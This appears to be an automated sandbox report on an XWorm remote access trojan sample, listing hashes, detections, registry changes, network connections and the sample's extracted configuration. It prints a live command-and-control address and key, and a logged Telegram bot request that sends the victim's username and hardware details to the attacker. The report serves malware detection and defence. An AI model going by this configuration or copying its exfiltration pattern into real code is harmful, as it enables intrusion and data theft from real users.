| File name: | 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear |
| Full analysis: | https://app.any.run/tasks/520ba406-90a9-41b5-8d55-2bddb0dc9bea |
| Verdict: | Malicious activity |
| Threats: | XWorm is a remote access trojan (RAT) sold as a malware-as-a-service. It possesses an extensive hacking toolset and is capable of gathering private information and files from the infected computer, hijacking MetaMask and Telegram accounts, and tracking user activity. XWorm is typically delivered to victims' computers through multi-stage attacks that start with phishing emails. |
| Analysis date: | March 24, 2025, 11:59:01 |
| OS: | Windows 10 Professional (build: 19045, 64 bit) |
| Tags: | |
| Indicators: | |
| MIME: | application/vnd.microsoft.portable-executable |
| File info: | PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows, 3 sections |
| MD5: | 6F1270AFB664223F08F25CE69E7C3D5D |
| SHA1: | 505FBDB6F4EC4B1784CA5551C44B4C1E5E4B92CA |
| SHA256: | 0C63876BD7B024388067E9F9C5C945F4D03A58A9C7A654B8DDFC89381A3D5D2A |
| SSDEEP: | 1536:1Aur5hPhPf7ApybssJmQpHg6+iTO6fKTRqOq6rC1QNdN:KuT1bsymQe6+iL+qOq6m1yN |
MALICIOUS
XWORM has been detected (YARA)
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
XWORM has been detected (SURICATA)
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
SUSPICIOUS
Process communicates with Telegram (possibly using it as an attacker's C2 server)
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
Checks for external IP
- svchost.exe (PID: 2196)
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
Found regular expressions for crypto-addresses (YARA)
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
Connects to unusual port
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
Contacting a server suspected of hosting an CnC
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
INFO
Disables trace logs
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
Reads the computer name
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
Checks supported languages
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
Reads the machine GUID from the registry
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
Checks proxy server information
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
- slui.exe (PID: 900)
Reads Environment values
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
Reads the software policy settings
- 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe (PID: 4608)
- slui.exe (PID: 900)
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XWorm
(PID) Process(4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe
C2monhostip.ddns.net:7000
Keys
AES<123456789>
Options
Splitter<Xwormmm>
Sleep time3
USB drop nameXWorm V5.6
Mutex6AM14tLxGGhzdAfR
TRiD
| .exe | | | Generic CIL Executable (.NET, Mono, etc.) (63.1) |
|---|---|---|
| .exe | | | Win64 Executable (generic) (23.8) |
| .dll | | | Win32 Dynamic Link Library (generic) (5.6) |
| .exe | | | Win32 Executable (generic) (3.8) |
| .exe | | | Generic Win/DOS Executable (1.7) |
EXIF
EXE
| MachineType: | Intel 386 or later, and compatibles |
|---|---|
| TimeStamp: | 2025:03:21 22:09:01+00:00 |
| ImageFileCharacteristics: | Executable, 32-bit |
| PEType: | PE32 |
| LinkerVersion: | 11 |
| CodeSize: | 66048 |
| InitializedDataSize: | 101888 |
| UninitializedDataSize: | - |
| EntryPoint: | 0x1211e |
| OSVersion: | 4 |
| ImageVersion: | - |
| SubsystemVersion: | 4 |
| Subsystem: | Windows GUI |
| FileVersionNumber: | 1.0.0.0 |
| ProductVersionNumber: | 1.0.0.0 |
| FileFlagsMask: | 0x003f |
| FileFlags: | (none) |
| FileOS: | Win32 |
| ObjectFileType: | Executable application |
| FileSubtype: | - |
| LanguageCode: | Neutral |
| CharacterSet: | Unicode |
| FileDescription: | |
| FileVersion: | 1.0.0.0 |
| InternalName: | XClient.exe |
| LegalCopyright: | |
| OriginalFileName: | XClient.exe |
| ProductVersion: | 1.0.0.0 |
| AssemblyVersion: | 1.0.0.0 |
Total processes
129
Monitored processes
3
Malicious processes
1
Suspicious processes
0
Behavior graph
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Process information
PID | CMD | Path | Indicators | Parent process | |||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
| 900 | C:\WINDOWS\System32\slui.exe -Embedding | C:\Windows\System32\slui.exe | svchost.exe | ||||||||||||
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Windows Activation Client Exit code: 0 Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
| |||||||||||||||
| 2196 | C:\WINDOWS\system32\svchost.exe -k NetworkService -p -s Dnscache | C:\Windows\System32\svchost.exe | services.exe | ||||||||||||
User: NETWORK SERVICE Company: Microsoft Corporation Integrity Level: SYSTEM Description: Host Process for Windows Services Version: 10.0.19041.1 (WinBuild.160101.0800) Modules
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| 4608 | "C:\Users\admin\Desktop\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe" | C:\Users\admin\Desktop\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | explorer.exe | ||||||||||||
User: admin Integrity Level: MEDIUM Description: Version: 1.0.0.0 Modules
XWorm(PID) Process(4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe C2monhostip.ddns.net:7000 Keys AES<123456789> Options Splitter<Xwormmm> Sleep time3 USB drop nameXWorm V5.6 Mutex6AM14tLxGGhzdAfR | |||||||||||||||
Total events
7 549
Read events
7 535
Write events
14
Delete events
0
Modification events
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASAPI32 |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASAPI32 |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASAPI32 |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASAPI32 |
| Operation: | write | Name: | FileTracingMask |
Value: | |||
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASAPI32 |
| Operation: | write | Name: | ConsoleTracingMask |
Value: | |||
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASAPI32 |
| Operation: | write | Name: | MaxFileSize |
Value: 1048576 | |||
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASAPI32 |
| Operation: | write | Name: | FileDirectory |
Value: %windir%\tracing | |||
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASMANCS |
| Operation: | write | Name: | EnableFileTracing |
Value: 0 | |||
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASMANCS |
| Operation: | write | Name: | EnableAutoFileTracing |
Value: 0 | |||
| (PID) Process: | (4608) 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Key: | HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Tracing\2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear_RASMANCS |
| Operation: | write | Name: | EnableConsoleTracing |
Value: 0 | |||
Executable files
0
Suspicious files
0
Text files
0
Unknown types
0
Dropped files
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HTTP(S) requests
6
TCP/UDP connections
25
DNS requests
8
Threats
13
HTTP requests
PID | Process | Method | HTTP Code | IP | URL | CN | Type | Size | Reputation |
|---|---|---|---|---|---|---|---|---|---|
2104 | svchost.exe | GET | 200 | 2.16.164.72:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4208 | RUXIMICS.exe | GET | 200 | 2.16.164.72:80 | http://crl.microsoft.com/pki/crl/products/MicRooCerAut2011_2011_03_22.crl | unknown | — | — | whitelisted |
4608 | 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | GET | 200 | 208.95.112.1:80 | http://ip-api.com/line/?fields=hosting | unknown | — | — | whitelisted |
— | — | GET | 404 | 149.154.167.99:443 | https://api.telegram.org/botYour_Token/sendMessage?chat_id=Your_ID&text=%E2%98%A0%20%5BXWorm%20V5.6%5D%0D%0A%0D%0ANew%20Clinet%20:%20%0D%0A3C54740F7CC0F23B53E5%0D%0A%0D%0AUserName%20:%20admin%0D%0AOSFullName%20:%20Microsoft%20Windows%2010%20Pro%0D%0AUSB%20:%20False%0D%0ACPU%20:%20Intel%20%20i5-6400%20%20@%202.70GHz%0D%0AGPU%20:%20Microsoft%20Basic%20Display%20Adapter%20%0D%0ARAM%20:%203.99%20GB%0D%0AGroub%20:%20XWorm%20V5.6 | unknown | binary | 55 b | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
— | — | POST | 500 | 40.91.76.224:443 | https://activation-v2.sls.microsoft.com/SLActivateProduct/SLActivateProduct.asmx?configextension=Retail | unknown | xml | 512 b | whitelisted |
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Connections
PID | Process | IP | Domain | ASN | CN | Reputation |
|---|---|---|---|---|---|---|
4 | System | 192.168.100.255:137 | — | — | — | whitelisted |
4 | System | 192.168.100.255:138 | — | — | — | whitelisted |
— | — | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2104 | svchost.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4208 | RUXIMICS.exe | 20.73.194.208:443 | — | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
2104 | svchost.exe | 2.16.164.72:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
4208 | RUXIMICS.exe | 2.16.164.72:80 | crl.microsoft.com | Akamai International B.V. | NL | whitelisted |
2104 | svchost.exe | 51.124.78.146:443 | settings-win.data.microsoft.com | MICROSOFT-CORP-MSN-AS-BLOCK | NL | whitelisted |
4608 | 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | 208.95.112.1:80 | ip-api.com | TUT-AS | US | whitelisted |
4608 | 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | 149.154.167.220:443 | api.telegram.org | Telegram Messenger Inc | GB | whitelisted |
DNS requests
Domain | IP | Reputation |
|---|---|---|
google.com |
| whitelisted |
crl.microsoft.com |
| whitelisted |
settings-win.data.microsoft.com |
| whitelisted |
ip-api.com |
| whitelisted |
api.telegram.org |
| whitelisted |
monhostip.ddns.net |
| malicious |
activation-v2.sls.microsoft.com |
| whitelisted |
Threats
PID | Process | Class | Message |
|---|---|---|---|
2196 | svchost.exe | Device Retrieving External IP Address Detected | INFO [ANY.RUN] External IP Check (ip-api .com) |
2196 | svchost.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup Domain in DNS Lookup (ip-api .com) |
4608 | 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Device Retrieving External IP Address Detected | POLICY [ANY.RUN] External Hosting Lookup by ip-api |
4608 | 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Device Retrieving External IP Address Detected | ET INFO External IP Lookup ip-api.com |
2196 | svchost.exe | Misc activity | ET HUNTING Telegram API Domain in DNS Lookup |
2196 | svchost.exe | Misc activity | SUSPICIOUS [ANY.RUN] Possible sending an external IP address to Telegram |
4608 | 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Misc activity | ET HUNTING Telegram API Certificate Observed |
4608 | 2025-03-24_6f1270afb664223f08f25ce69e7c3d5d_hiddentear.exe | Misc activity | ET HUNTING Observed Telegram API Domain (api .telegram .org in TLS SNI) |
— | — | Misc activity | ET HUNTING Telegram API Request (GET) |
2196 | svchost.exe | Potentially Bad Traffic | ET DYN_DNS DNS Query to DynDNS Domain *.ddns .net |